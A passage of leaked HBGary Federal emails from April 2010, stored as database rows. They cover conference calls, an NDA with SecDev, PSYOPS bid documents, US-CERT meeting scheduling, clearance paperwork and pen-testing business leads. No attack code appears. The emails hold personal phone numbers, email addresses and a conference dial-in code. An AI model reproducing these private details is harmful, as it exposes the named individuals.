<aaron@hbgary.com>','Alarm - 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','April 13, 2010 11:30 AM : 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)When: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: Dial In info - 800 760 3309: Code 74491765Note: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*When: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US &amp; Canada).Where: 800 760 3309: Code 74491765*~*~*~*~*~*~*~*~*~*Aaron,So glad we were able get you set up for the conference call.&nbsp; You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.&nbsp; Recruiting for the Cyber Group started on March 1st and we are very pleased with the rate at which it is ramping up.&nbsp; For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating.Current:1. Bill Phelps, Accenture2. Skip Foote, American Systems3. Jeff Berkin, CACI4. Vince Pratuch, Cisco Systems5. JR Reagan, Deloitte Services, LP6. Samuel Chun, HP7. Charles Palmer, IBM8. Dusty Wince, KnowledgeCG9. Bill Varner, ManTech Int’l. (Chairman)10. Scott Miller, Microsoft11. Gary Gagnon, MITRE12. Shawn Carroll, Qwest13. Larry Cox, SAIC14. Mike Fraser, USIS15. TBD, ITTPLEASE NOTE:* &nbsp; &nbsp; &nbsp; The Conference Call dial-in number and participant code are listed above* &nbsp; &nbsp; &nbsp; If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.com&lt;mailto:jennifer@executivebiz.com&gt;* &nbsp; &nbsp; &nbsp; The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.Please check out our emagazine at www.executivebiz.com&lt;http://www.executivebiz.com&gt; where you\'ll find out about all the latest happenings in the government contracting arena.Sincerely,Jennifer Jordan-HarrellGroup ManagerExecutiveBiz703-226-7016jennifer@executivebiz.com&lt;mailto:jennifer@executivebiz.com&gt; ',12027,'aaron_hbgary_com/12027.html'),(5252,'2010-04-13','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297003842.M629360P14101Q107.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11) 	@ Tue Apr 13 11:30am - 12pm (aaron@hbgary.com)',' more details &raquo;4x24 Conference Call with Aaron Barr of HB Gary (Group 11)When: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: Dial In info - 800 760 3309: Code 74491765Note: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*When: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US &amp; Canada).Where: 800 760 3309: Code 74491765*~*~*~*~*~*~*~*~*~*Aaron,So glad we were able get you set up for the conference call.  You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.  Recruiting for the Cyber Group started on March 1st and we are very pleased with the rate at which it is ramping up.  For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating.Current:1. Bill Phelps, Accenture2. Skip Foote, American Systems3. Jeff Berkin, CACI4. Vince Pratuch, Cisco Systems5. JR Reagan, Deloitte Services, LP6. Samuel Chun, HP7. Charles Palmer, IBM8. Dusty Wince, KnowledgeCG9. Bill Varner, ManTech Int’l. (Chairman)10. Scott Miller, Microsoft11. Gary Gagnon, MITRE12. Shawn Carroll, Qwest13. Larry Cox, SAIC14. Mike Fraser, USIS15. TBD, ITTPLEASE NOTE:*       The Conference Call dial-in number and participant code are listed above*       If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.comjennifer@executivebiz.com&gt;*       The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.Please check out our emagazine at www.executivebiz.com&lt;http://www.executivebiz.com&gt; where you&#39;ll find out about all the latest happenings in the government contracting arena.Sincerely,Jennifer Jordan-HarrellGroup ManagerExecutiveBiz703-226-7016jennifer@executivebiz.comjennifer@executivebiz.com&gt;WhenTue Apr 13 11:30am – 12pm Eastern TimeWhereDial In info - 800 760 3309: Code 74491765 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14224,'aaron_hbgary_com/14224.html'),(5253,'2010-04-13','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003842.M858547P14101Q108.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA with SecDev Group','Great, thanks Aaron. Best, K--- On Tue, 4/13/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: NDA with SecDev GroupTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Penny Leavy\" &lt;penny@hbgary.com&gt;Date: Tuesday, April 13, 2010, 5:13 AM\r\nHi Karen,We just completed the NDA with the SecDev group (canadian group that lead the GhostNet and ShadowNet investigations.&nbsp; I should be talking with them today or tomorrow about the podcast and future investigation efforts.&nbsp; I will let you know on the podcast as soon as I talk with them.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',2218,'aaron_hbgary_com/2218.html'),(5254,'2010-04-13','ted@hbgary.com','/aaron@hbgary.com/new/1297003843.M103077P14101Q109.eml','aaron@hbgary.com','USSOCOM PSYOPS Quad Charts, PSYOPS Response + 1 more item','\r\n\r\nI\'ve shared some items with you\r\nMessage from ted@hbgary.com:\r\nI created a PSYOPS folder under business development.  Inside the folder you will find the sources sought document along with a template for our response and quad charts.\r\nClick to open:\r\nUSSOCOM PSYOPS Quad Charts PSYOPS Response USSOCOM PSYOPS Sources Sought\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',12567,'aaron_hbgary_com/12567.html'),(5255,'2010-04-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003843.M398137P14101Q110.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: [Softwide] Deal and SI project requesting','OK thank you\r\nOn Mon, Apr 12, 2010 at 6:02 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAfter looking at it, fed is going to pass.  Raises too many concerns.sellomg software is one thing, specialized work for a foreign government is another.\r\nAaron\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron\r\n \r\nWhat did we decide to do with Softwide?  Any action items for me to follow up?\r\n \r\nMaria\r\nOn Thu, Apr 8, 2010 at 7:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nyeah. \r\n\r\n\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\nI don&#39;t think this is a good idea.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 6:53 PM, Penny Leavy-Hoglund wrote:\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',10794,'aaron_hbgary_com/10794.html'),(5256,'2010-04-13','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003843.M669960P14101Q111.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA with SecDev Group','can we get their malware?\r\n\r\nOn Tue, Apr 13, 2010 at 5:13 AM, Aaron Barr  wrote:\r\n> Hi Karen,\r\n>\r\n> We just completed the NDA with the SecDev group (canadian group that lead the GhostNet and ShadowNet investigations.  I should be talking with them today or tomorrow about the podcast and future investigation efforts.  I will let you know on the podcast as soon as I talk with them.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',3465,'aaron_hbgary_com/3465.html'),(5257,'2010-04-13','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297003843.M904395P14101Q112.eml','aaron@hbgary.com','Special Edition: GovCon Exec Magazine Launches','\r\nPublicaster Template: 1-Column NewsletterPublicaster\r\n Template: 1-Column Newsletter\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n    Private-Public\r\n Connections for Contracting Leadership \r\n  \r\n  \r\n    \r\n  \r\n  \r\n  \r\n\r\n  \r\n    \r\n      A Letter\r\n from Our Founder We are proud to announce the debut of our new\r\n magazine&nbsp;GovConExec.   As the name implies, we will be targeting our content to\r\n executives on both sides of government contracting. This edition features Linda\r\n Hudson, the new President and CEO of BAE Systems North America.\r\n    Our intent is to capture the spirit of leadership in the executive ranks\r\n of both government contracting and the Senior Executive Services (SES).&nbsp;\r\n Operating and transacting successfully in the domain of government contracting\r\n requires a unique balance of individual skill and team-oriented ability beyond the\r\n talents of those in the commercial sector.Staying ahead of the latest\r\n developments in nuanced issues like the public-private partnership, cyber\r\n security, in-sourcing, Healthcare IT, etc. requires the in-depth and informed\r\n analysis you\'ll find inside the covers of our exciting new magazine. Read about\r\n the executive ranks of the government contracting industry with a clear and\r\n objective view that goes beyond the mainstream snarky \"gotcha journalism\" to focus\r\n on the success stories at the core of our industry\'s leadership.If this\r\n kind of coverage, insight and intelligence interests you, click here to\r\n subscribe to the Beltway\'s premier government contracting magazine,\r\n GovConExec.Jim GarrettsonPresident and\r\n CEOGovConExec Magazine\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon Exec Magazine8230 Old Courthouse \r\nRoadVienna, VA 22181(703) 226-7000\r\n\r\n\r\n\r\n8230 Old\r\n Courthouse RoadVienna, VA 22181List\r\n Unsubscribe\r\n  \r\n\r\n  \r\n\r\n\r\n',7592,'aaron_hbgary_com/7592.html'),(5258,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003844.M128899P14101Q113.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: NDA with SecDev Group','I\'ll check.\r\n\r\n\r\nOn Apr 13, 2010, at 11:55 AM, Penny Leavy wrote:\r\n\r\n> can we get their malware?\r\n> \r\n> On Tue, Apr 13, 2010 at 5:13 AM, Aaron Barr  wrote:\r\n>> Hi Karen,\r\n>> \r\n>> We just completed the NDA with the SecDev group (canadian group that lead the GhostNet and ShadowNet investigations.  I should be talking with them today or tomorrow about the podcast and future investigation efforts.  I will let you know on the podcast as soon as I talk with them.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9179,'aaron_hbgary_com/9179.html'),(5259,'2010-04-13','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003844.M389218P14101Q114.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','US-CERT Meeting with Matt Stern','Aaron,I will not be able to attend the meeting with Matt Stern.  It was moved from this week to next week.  I will be teaching our Malware Analysis class in Columbia, MD.  Please let me know if there are action items from the meeting.  Thanks.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',2280,'aaron_hbgary_com/2280.html'),(5260,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003844.M588826P14101Q115.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: US-CERT Meeting with Matt Stern','OK.\r\n\r\nRich can you make this new date, the morning of the 21st?\r\n\r\nAaron\r\n\r\nOn Apr 13, 2010, at 11:58 AM, Phil Wallisch wrote:\r\n\r\n> as moved from this week to next week.  I will be teaching our Malware Analysis class in Columbia, MD.  Please let me know if there are action items from the meeting.  Thanks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10852,'aaron_hbgary_com/10852.html'),(5261,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003844.M827020P14101Q116.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Updated Pipeline','Penny,\r\n\r\nAttached is the 2010 HBGary Federal Pipeline that Aaron and I updated\r\nthis morning.  As you can see, we have lots of irons in the fire, many\r\nof which we\'re just awaiting award announcements for.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n',14667,'aaron_hbgary_com/14667.html'),(5262,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003845.M330032P14101Q118.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Checking in','Hey Chris,Checking in again, seeing how things are going. &nbsp;Ted is working on his SF86 and will get it to you shortly.Any chance I can get put in for an indoc for a new badge?Did you guys touch base with Lincoln group? or Mantech? &nbsp;Also might want to check out a company IMGnetworks. &nbsp;They supposedly have cleared folks I think, while their samples off their website aren\'t fabulous, they have some capability with past performance in the area.AaronOn Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:Hi Aaron,&nbsp;I got the OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can start the other paperwork here.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:59 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;I think him cleared would be very helpful. &nbsp;Let me know how you want to proceed.&nbsp;Aaron&nbsp;On Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:Hi Aaron,Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.Chris-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 4/1/2010 10:38 AMTo: Lovegrove, John (TASC)Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: Re: Checking inI haven\'t I will check.&nbsp;From my iPhoneOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com&nbsp;&gt; wrote:&gt; Hey Aaron,&gt;&gt; We are still pulling the team together on COIN, we have a follow up&gt; discussion with SAIC tomorrow. I got a random report that the&gt; competition was cancelled, did you hear anything about this?&gt;&gt;&gt; John Lovegrove&gt; Director&gt; Office: (703) 449-3812&gt; Cell: (571) 294-5154&gt;&gt;&gt;&gt; TASC INTERNAL DISTRIBUTION ONLY&gt; This e-mail, including attachments, is intended for the exclusive&gt; use of&gt; the person or entity to whom it is addressed and may contain&gt; confidential or privileged information. If the reader of this e-mail&gt; is&gt; not the intended recipient or his or her authorized agent, the&gt; reader is&gt; hereby notified that any dissemination, distribution or copying of&gt; this&gt; e-mail is prohibited. If you think that you have received this e-&gt; mail in&gt; error, please advise the sender by reply e-mail of the error and then&gt; delete this e-mail immediately.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Monday, March 29, 2010 2:01 PM&gt; To: Lovegrove, John (TASC)&gt; Subject: Checking in&gt;&gt; Hey John,&gt;&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then&gt; started thinking about all the other stuff going on.&nbsp; What is the&gt; status of your COIN effort and when would you like to set up anyone to&gt; talk about NSA?&gt;&gt; Aaron&gt;&gt; From my iPhone&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16570,'aaron_hbgary_com/16570.html'),(5263,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003845.M41172P14101Q117.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','http://www.psyop.tv/','These guys are awesome.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16030,'aaron_hbgary_com/16030.html'),(5264,'2010-04-13','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003845.M589931P14101Q119.eml','\"Aaron Barr\" <aaron@hbgary.com>','Info on Monitor','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWere you able to get those pictures of the broken monitor?&nbsp;\r\nI need them for the ins. co..&nbsp; Do you have a tracking number for the booth that\r\nwas sent to advatum? \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8740,'aaron_hbgary_com/8740.html'),(5265,'2010-04-13','\"Vikram Aich (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297003845.M809431P14101Q120.eml','\"Aaron Barr\" <aaron@hbgary.com>','Vikram from Aich Technologies','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nVikram Aich has sent you a message.\r\n\r\n\r\n  Date:\r\n  4/13/2010\r\n\r\n\r\n  Subject:\r\n  Vikram from Aich Technologies\r\n\r\n\r\n\r\n  Hi Aaron,\r\n\r\nMy name is Vikram Aich and I am the Managing Director of a software company called  Aich Technologies(www.aichtechnologies.com) which has its headquarters in Pune ,India.\r\n\r\nMy company specializes in offshore software development,design,testing and maintenance for our clients based in North America,Europe and APAC.Most of my consultants have more than 10 years experience in their related areas, with excellent communication skills to engage with our clients on an ongoing basis.\r\nMy company has a history of meeting delivery times, and the large number of repeat customers would prove the fact.\r\n\r\nI can offer dedicated teams on the following technologies:\r\n\r\nMicrosoft\r\nJava\r\nOracle\r\nBusiness Intelligence\r\nTesting\r\nERP\r\nCRM\r\nLinux/Solaris\r\nWeb Technologies\r\nMobile Apllications(iPhone &amp; Android)\r\n\r\nAdvantages my company offers you:\r\n\r\n1.Cost savings of up to 70% on your operations.\r\n2.We would act as an extension of your development team, from India,ensuring that you can scale up your technical capabilities as and when needed without having to invest heavily into internal operations.\r\n3.You would have access to experts in varied technologies, at all points of your business cycle.\r\n4.We would enable you to focus on your core development and pass on the non core, time consuming development work to us,thereby doubling your efficiency.\r\n\r\n\r\n\r\nDo let me know if this is an engagement, you would like to explore.\r\n\r\nI will await your response.\r\n\r\nRegards,\r\n\r\nVikram\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',10566,'aaron_hbgary_com/10566.html'),(5266,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003846.M303019P14101Q122.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Meeting with US-CERT','Bob,\r\n\r\nCan you make a meeting with US-CERT on the 21st in the morning.  GD is going to take us in to demo to US-CERT but neither Phil or RIch are available.\r\n\r\nI am going to get on the phone with Phil tomorrow and go over some demo stuff and am feeling pretty good with the material but not sure how RE knowledgeable the audience will be (my guess is not too much).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13857,'aaron_hbgary_com/13857.html'),(5267,'2010-04-13','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003846.M55273P14101Q121.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: US-CERT Meeting with Matt Stern','Not sure if responded but he\'s in California next week.\r\n\r\nSent from my iPhone\r\n\r\nOn Apr 13, 2010, at 11:59, Aaron Barr  wrote:\r\n\r\n> OK.\r\n>\r\n> Rich can you make this new date, the morning of the 21st?\r\n>\r\n> Aaron\r\n>\r\n> On Apr 13, 2010, at 11:58 AM, Phil Wallisch wrote:\r\n>\r\n>> as moved from this week to next week.  I will be teaching our  \r\n>> Malware Analysis class in Columbia, MD.  Please let me know if  \r\n>> there are action items from the meeting.  Thanks.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7871,'aaron_hbgary_com/7871.html'),(5268,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003846.M728874P14101Q123.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Discussion VA/PT','I hadn\'t heard from you so I thought I would send you a note and see if you wanted to discuss the VA/PT work you mentioned to Penny.\r\n\r\nI would be interested in doing this work (right up our alley).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11060,'aaron_hbgary_com/11060.html'),(5269,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003846.M941276P14101Q124.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do you do Web Site testing?','Hey Shane,You and I talked a while back (with Ted Vera) about standing up an IR capability and partnering with PwC to help. &nbsp;Going after some long term contracts has distracted us but Ted and I are still focused on setting up that business. &nbsp;Since we are a new company our approach has been to hunt and kill some longer term contracts so we could build a labor base to bid shorter term engagements.If we had someone that could actually pull work based on experience and recognition, well that might work as well. &nbsp;Regardless, probably worth touching base to discuss.What is your schedule like the next few days?AaronOn Apr 9, 2010, at 7:39 PM, Penny Leavy-Hoglund wrote:He heads up HBGary Federal and he was at NG TASC.&nbsp; I think you guys talked.&nbsp;&nbsp;From:&nbsp;sdshook@yahoo.com&nbsp;[mailto:sdshook@yahoo.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 4:37 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Do you do Web Site testing?&nbsp;I do yes, I typically roll it through Joel\'s company as they are config\'d to support it. But I do the work of course.Aaron - why do I know your name?&nbsp;- ShaneSent via BlackBerry from T-MobileFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Fri, 9 Apr 2010 16:31:45 -0700To:&nbsp;\'Shane Shook\'&lt;sdshook@yahoo.com&gt;Cc:&nbsp;\'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject:&nbsp;Do you do Web Site testing?&nbsp;Do you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron might have jobs for you&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9044,'aaron_hbgary_com/9044.html'),(5270,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003847.M224304P14101Q125.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Email Intro\'s?','Are you guys pursuing the mitre thing?AaronOn Apr 9, 2010, at 6:38 PM, Penny Leavy-Hoglund wrote:Do you know this guy?&nbsp; Should we work with Mitre?&nbsp;From:&nbsp;Ned Miller [mailto:Ned_Miller@symantec.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 2:51 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;RE: Email Intro\'s?&nbsp;Hi there… if you have not researched as of yet this is the MITRE initiative I thought your team may have the ability to help with some thought leadership…&nbsp;http://maec.mitre.org/&nbsp;they are actively looking for industry partners to work together….&nbsp;Bob Martin is the guy at MITRE that would be best to initially engage….&nbsp;MITRE Corporation202 Burlington RDBedford, MA 01730-1420Phone: (781) 271-3001Fax: (781) 271-8500E-mail:&nbsp;ramartin@mitre.org&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 3:35 PMTo:&nbsp;Ned MillerSubject:&nbsp;Email Intro\'s?&nbsp;WE’d like to meet with Tony, can you do a quick intro&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8466,'aaron_hbgary_com/8466.html'),(5271,'2010-04-13','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297003847.M439208P14101Q126.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion VA/PT','Are you free this afternoon to speak?\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 2:32 PM, \"Aaron Barr\"  wrote:\r\n\r\n> I hadn\'t heard from you so I thought I would send you a note and see if you wanted to discuss the VA/PT work you mentioned to Penny.\r\n> \r\n> I would be interested in doing this work (right up our alley).\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',1453,'aaron_hbgary_com/1453.html'),(5272,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003847.M652940P14101Q127.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Discussion VA/PT','sure the rest of my afternoon is free.  What time?\r\n\r\nAaron\r\n\r\nOn Apr 13, 2010, at 2:37 PM, Ira Entis wrote:\r\n\r\n> Are you free this afternoon to speak?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1232,'aaron_hbgary_com/1232.html'),(5273,'2010-04-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003847.M901911P14101Q128.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with US-CERT','Aaron,\r\n\r\nI can do the US-CERT meeting with you.  Technically they are Maria\'s\r\naccount, but I am glad to help out.  Generally in a first meeting having\r\nconversation and showing powerpoints are sufficient.  Let me know place and\r\ntime.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 2:30 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy\r\nSubject: Meeting with US-CERT\r\n\r\nBob,\r\n\r\nCan you make a meeting with US-CERT on the 21st in the morning.  GD is going\r\nto take us in to demo to US-CERT but neither Phil or RIch are available.\r\n\r\nI am going to get on the phone with Phil tomorrow and go over some demo\r\nstuff and am feeling pretty good with the material but not sure how RE\r\nknowledgeable the audience will be (my guess is not too much).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming 